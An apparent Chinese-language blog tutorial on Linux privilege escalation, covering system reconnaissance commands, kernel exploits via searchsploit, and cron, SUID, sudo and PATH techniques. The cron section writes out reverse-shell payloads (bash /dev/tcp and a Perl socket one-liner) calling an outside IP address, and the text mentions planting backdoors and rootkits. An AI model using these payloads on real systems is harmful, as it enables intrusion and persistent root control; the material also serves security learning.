linux提权指的是什么

58次阅读
没有评论

共计 3144 个字符,预计需要花费 8 分钟才能阅读完成。

这篇文章主要讲解了“linux 提权指的是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着丸趣 TV 小编的思路慢慢深入,一起来研究和学习“linux 提权指的是什么”吧!

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限;Linux 提权一般是指获取 root 用户权限的操作过程。Linux 提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况;提权是否成功的关键是信息收集是否完整。

linux 提权概念介绍

提权是什么

提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限。

详细来说,就是指利用操作系统或应用软件中的程序漏洞、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。

Linux 提权一般是指获取 root 用户权限的操作过程。

Linux 提权目的

提权操作有风险为什么还要进行提权?什么情况下需要进行提权?获取高权限之后可以做什么?

通过命令执行漏洞获取的一个反弹 shell 或是通过 Web 漏洞获取了一个 Webshell 后,一般情况下权限都较低。在执行一些重要敏感的操作或是对重要的文件进行修改时无法正常进行,便需要进行提权。Linux 中安装的数据库、中间件等一般都不是以 root 用户启动的,通过数据库或是中间件获取到的权限是是低权限的。

获取一个 root 权限是每一个黑客的梦想。

读取写入服务器中的重要文件:

修改 root 密码

替换系统命令

在系统中放置更为隐蔽的后门:

ping 后门

Rootkit

保证服务器重启之后权限仍在:

内存后门

Linux 提权本质

Linux 提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况。

Linux 信息收集

任何提权的第一步操作一定是对操作系统进行信息收集。提权是否成功的关键是信息收集是否完整。

内核设备信息:

uname -a     打印所有可用的系统信息

uname -r     内核版本

uname -n     系统主机名。

uname -m     查看系统内核架构(64 位 /32 位)

hostname     系统主机名

cat /proc/version     内核信息

cat /etc/*-release   分发信息

cat /etc/issue       分发信息

cat /proc/cpuinfo    CPU 信息

用户和群组信息:

cat /etc/passwd     列出系统上的所有用户

cat /etc/group       列出系统上的所有组

grep -v -E ^# /etc/passwd | awk -F: $3 == 0 {print $1}   列出所有的超级用户账户

whoami               查看当前用户

w                   谁目前已登录,他们正在做什么

last                 最后登录用户的列表

lastlog             所有用户上次登录的信息

lastlog -u %username%   有关指定用户上次登录的信息

lastlog |grep -v Never   以前登录用户的信息

用户和权限信息:

whoami         当前用户名

id             当前用户信息

cat /etc/sudoers   谁被允许以 root 身份执行

sudo -l       当前用户可以以 root 身份执行操作

环境系统变量信息:

env         显示环境变量

set         现实环境变量

echo %PATH 路径信息

history     显示当前用户的历史命令记录

pwd         输出工作目录

cat /etc/profile   显示默认系统变量

cat /etc/shells     显示可用的 shell

内核漏洞提权

内核漏洞提权指的是普通用户访问操作系统内核,利用内核漏洞将权限提高为 root 权限,一般首先需要知晓操作系统的内核,内核的版本等信息,再寻找内核漏洞的 EXP 进行提权

linux 常用查看系统信息命令
uname -a  查看系统全部信息
uname -r  查看内核版本
cat /proc/version  查看内核信息
cat /etc/*-realease  查看 CentOS 版本
cat /etc/issue  查看 Ubuntu 版本
cat /etc/redhat-release  查看 RedHat 版本
env  查看环境变量
echo $PATH  查看当前环境变量
awk -F:  ($3==0){print $1}  /etc/passwd  查找 UID 为 0 的用户
find / -user root -perm -4000 -exec ls -ldb {} \;  查找设置了 SUID 的文件

例子:

1)查看系统的内核版本

2)使用 kali 的 searchsploit 寻找对应的内核漏洞或网上寻找相应的内核漏洞

3)使用 gcc 将 C 语言程序编译成可执行文件,上传至靶机,执行即可提权至 root 权限

Linux 其他提权方法

1、计划任务提权

利用原理:

当 /bin/sh 指向 /bin/dash 的时候 (ubuntu 默认这样,当前的靶机也是这样),反弹 shell 用 bash 的话得这样弹:* * * * * root bash -c bash -i   /dev/tcp/106.13.124.93/2333 0 1
这样弹 shell 的时候不知道为什么很慢,耐心等等

*/1 * * * * root perl -e use Socket;\(i= 106.13.124.93 \)p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname( tcp));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN, S open(STDOUT, S open(STDERR, S exec( /bin/sh -i};

2、利用 SUID 提权

SUID 概念:SUID(设置用户 ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。SUID 可以让调用者以文件拥有者的身份运行该文件,所以我们利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。那么,为什么要给 Linux 二进制文件设置这种权限呢?其实原因有很多,例如,程序 ping 需要 root 权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。

SUID 提权:什么是 suid 提权呢?一个文件,它有 s 标志,并且他输入 root,那么我们运行这个程序就可以有了 root 的权限,并且这个程序还得能执行命令,那么我们就能从普通用户提升到了 root 权限了。

在本地查找符合条件的文件。

find / -user root -perm -4000 -print 2 /dev/null

find / -perm -u=s -type f 2 /dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

常见的可以提权的程序

nmap vim find Bash More Less Nano cp netcat

3、利用 SUDO 提权

Linux 系统中可以使用 sudo 执行一个只有 root 才能执行的命令,配置文件保存在 /etc/sudoers,sudo - l 可以列出当前用户支持 sudo 的命令。

尽量从代码层面进行对漏洞的分析。

4、环境变量提权

查看当前环境变量:

echo $PATH

5、root 权限运行的服务

以 root 的运行的服务,其中包括第三方软件都可以进行提权。

感谢各位的阅读,以上就是“linux 提权指的是什么”的内容了,经过本文的学习后,相信大家对 linux 提权指的是什么这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是丸趣 TV,丸趣 TV 小编将为大家推送更多相关知识点的文章,欢迎关注!

正文完
 
丸趣
版权声明:本站原创文章,由 丸趣 2023-07-12发表,共计3144字。
转载说明:除特殊说明外本站除技术相关以外文章皆由网络搜集发布,转载请注明出处。
评论(没有评论)